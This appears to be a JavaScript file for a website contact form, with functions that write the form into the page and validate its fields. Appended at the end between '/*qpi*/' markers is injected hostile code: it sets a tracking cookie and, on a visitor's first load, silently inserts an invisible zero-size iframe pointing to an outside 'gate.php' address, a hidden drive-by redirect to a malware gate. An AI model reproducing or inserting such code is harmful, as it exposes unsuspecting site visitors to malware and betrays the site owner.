// Help fend off spam spiders
function clean_contact_form() {
	document.write('<a name="clean_contact"></a><form method="post" action="#clean_contact" name="clean_contact" id="clean_contact" onsubmit="return clean_contact_validate(this)">');
	document.write('<input type="hidden" name="clean_contact_token" value="cc">');
	document.write('<fieldset class="CleanContact">');
	document.write('<label for="clean_contact_from_name" style="display: inline;">Your Name<em>*</em></label><input type="text" name="clean_contact_from_name" id="clean_contact_from_name" onchange="clean_contact_msg_clr()" />');
	document.write('<label for="clean_contact_from_email" style="display: inline;">Your E-mail Address<em>*</em></label><input type="text" name="clean_contact_from_email" id="clean_contact_from_email"  onchange="clean_contact_msg_clr()"  />');
	document.write('<label for="clean_contact_subject">Subject<em>*</em></label><input type="text" id="clean_contact_subject" name="clean_contact_subject"  onchange="clean_contact_msg_clr()"  />');
	document.write('<label for="clean_contact_body">Message<em>*</em></label>');
	document.write('<textarea id="clean_contact_body" name="clean_contact_body"  onchange="clean_contact_msg_clr()" ></textarea><br />');
	document.write('<input type="Submit" id="clean_contact_send" value=" Send &raquo; ">');
	document.write('</fieldset>');
	document.write('</form>');
}
function clean_contact_validate() {
	var email  = /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/;
	var str = 	/\w+/;
	if(!str.test(document.getElementById('clean_contact_from_name').value)) {
		clean_contact_msg('Please supply your Name');
		return false;
	}
	if(!email.test(document.getElementById('clean_contact_from_email').value)) {
		clean_contact_msg('Please supply a valid E-mail Address');
		return false;
	}
	if(!str.test(document.getElementById('clean_contact_subject').value)) {
		clean_contact_msg('Please supply a Subject');
		return false;
	}

	if(!str.test(document.getElementById('clean_contact_body').value)) {
		clean_contact_msg('Please supply a message');
		return false;
	}
	return true;
}

function  clean_contact_msg_clr() {
	document.getElementById('clean_contact_msg').style.display = 'none';
	
}
function clean_contact_url(url) {
	window.location = url;
}

/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=852791&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
